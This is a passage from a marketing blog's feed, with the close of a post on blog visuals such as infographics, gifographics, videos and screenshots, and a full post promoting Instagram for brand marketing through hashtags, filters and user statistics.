An infographic that is aesthetically pleasing with relevant data – which also happens to be user-friendly – will undoubtedly increase awareness of your brand. It also offers the potential for several platforms beyond your blog. Infographics can be shared on Pinterest and uploaded to SlideShare. If the infographic has multiple components, crop parts to create snackable visual content for Facebook, Twitter, LinkedIn, and Instagram. The crux of an infographic is not the design, but the research itself. You need to invest time and energy to get the data and create a useful wireframe to behave like a visual story.

4. Gifographics

Gifographics are infographics on steroids. Think of them as animated infographics. GIF stands for Graphics Interchange Format, originally a file type for both animated and static images that work well on the web. Buffer conducted a study that concluded that posts with featured animated graphics get more social media shares than the ones with no animated visuals. But what about gifographics? They combine the power of an infographic in a format more likely to be shared by the audience.

5. Videos

The importance of videos in content marketing has been discussed a lot. Well, video is still a big thing. Just look at the biggest social media platforms and you will see why. Videos are extremely effective for your visual content on blogs. You do not have to create a ton of videos for a blog post. You just have to be creative about the type of content your community loves to consume. Look for opportunities to use video you already have (or create a video of upcoming activities) to expand video’s role in your content.

6. Screenshots

Screenshots may be the easiest way to create visuals for your blog posts. You can create screenshots using one of the many tools available, including Skitch from Evernote or Snagit from TechSmith. You also can elaborate on the screenshot by inserting arrows, explanatory text, or basic shapes to better convey your message.

The post Make Your Blog More Attractive With These Visuals appeared first on CODE Marketing: Blog.

]]> The Marketing Power of Instagram https://blog.codemarketing.com/the-marketing-power-of-instagram/ Sun, 10 Feb 2019 02:17:40 +0000 http://blog.codemarketing.com/?p=1152 Online marketing, especially through social media, has grown tremendously over recent years. Its impact has equally proved worth due to the cost-effectiveness and the rate of planet formation to the customers Facebook and Twitter continue to be the most popular social media platforms for marketing receiving a large following for both marketers and users.Instagram which …

The post The Marketing Power of Instagram appeared first on CODE Marketing: Blog.

]]> Online marketing, especially through social media, has grown tremendously over recent years. Its impact has equally proved worth due to the cost-effectiveness and the rate of planet formation to the customers Facebook and Twitter continue to be the most popular social media platforms for marketing receiving a large following for both marketers and users.Instagram which came a bit later after these two sits is also performing way better and making them have a run for their money as it gains its popularity rapidly among the netizens. Today, marketers have discovered how powerful Instagram can be for promoting products and services. This article is meant to take you through a discovery journey on the facts that make Instagram the ultimate power for marketing.

The power of Instagram regarding Design

The design of a marketing platform is vital in the promotion of a brand or product because it is what determines if a product is appealing to its target customers or not. Instagram has a certain design that clarifies the image of products and makes adverts attractive to customers without making them look monotonous or boring. Here are some design features that influence the power of Instagram in marketing.

Enhances Brand Visibility
Instagram is a social media site where users share not only their content but also a place where they get to learn new content from other users. What this means to brands is that they can make their brands visible for customers to discover.
Hashtags are a way to help users locate contents that interest and appeal to them as a way to maximize the social discovery factor. According to a competitive analysis firm TrackMaven, hashtags can mean the make or break the image of a brand on Instagram.
The impact of hashtags is not based on quantity but quality. Hashtags are a form of art, and they attract customers if placed in certain ways. As a marketer or brand, you need to use trending hashtags with the ability to go viral, and they should strike between your business name and others should reference specific marketing campaigns.
Attract the Attention of Customers
The use of visual marketing techniques has been on the rise for a while now, and it is working incredibly as customers a brand by first glance. Instagram being a more visual oriented company is giving visual marketing a huge boost by using its power to attract customers through image advertising. Instagram can help brands and companies attract more customers by creating such attention through these images. A thing to note is that not all images have the same impact because images work in different ways to pass different messages and reactions. Therefore, as a marketer, you need to use some tricks and tips which are more psychological.
Select the correct Filters
Instagram allows users to edit the photos they post using filters with a variety of twenty distinct filters at the moment. The filters produce a distinct visual effect on the images you post eliciting different reactions and attracting people more. According to researchers, the Mayfair filter is the most effective filter attracting more attention to customers, and attracting more comments and likes. Specifically, the black and white filter is also very effective which means that even the choice of filter matters.
Enables Quality and Creativity
The beautiful pictures on Instagram are the key to the success of your brand. However, the power of Instagram goes beyond just marketing. Even though you may be on Instagram for the specific purpose of marketing, it should not always be about marketing. There is also another face of your brand that you should create for your audience to reduce monotony and seriousness. A picture of your staff at a sandy beach enjoying, goofy photos of your product among others, make the brand attractive and interactive. You should, however, apply creativity and wisdom.

The power of Instagram regarding Statistics

The statistics of the traffic is the first thing a marketer looks for in a marketing platform because it is the channel in which tio rach potential customers. A social media site should prove it can reach many clients and deliver the targeted message effectively. Instagram is hugely connected to facebook laying the strong ground for marketing on Instagram. Here are some statistics that support the power of Instagram in marketing.

Over 1 Billion Monthly Users
While the growth of Facebook continues to grow by around 3% and Twitter users continue to diminish as they suspend fake user accounts, Instagram users are growing at an average of 5% quarterly. With the number of users at recent months indicating an average of 1 billion users per month, Instagram has the potential to expand for the next three years steadily and then start to slow down later. What this means to marketers is that there is room for more audience to reach.
Over 4/5 of Users on Instagram Follow at Least One Business
The insistent approach or brands to stuff up users with adverts is becoming boring and monotonous to users making more to place ad blocks on sites or pass through without looking. However, the model of advertising on Instagram is more appealing to users especially young ones and more than 80% of all account follow one os more businesses.
iii. Instagram is 15 times More Engaging
Instagram is more of an interactive social site where people share videos and engage me than Facebook by 15 times and around 29 times more than Twitter according to experts. Therefore, when you post your brand to the audience on Instagram, more people are more likely to associate themselves and interact with your brand.
With no doubt, Instagram is more engaging than other social media sites, and its clarity of view is incredible. Moreover, the popularity and reach f Instagram is proliferating, and maybe shortly it will equal or surpass that of Facebook and Instagram. Whichever way, Instagram has the design ideal for marketing and its features favor marketing very much. Despite some of the problems based on the fact that Instagram is a heavier application limiting some users, it is with no doubt the ultimate powerhouse of marketing based on the latest trends.

The post The Marketing Power of Instagram appeared first on CODE Marketing: Blog.

]]>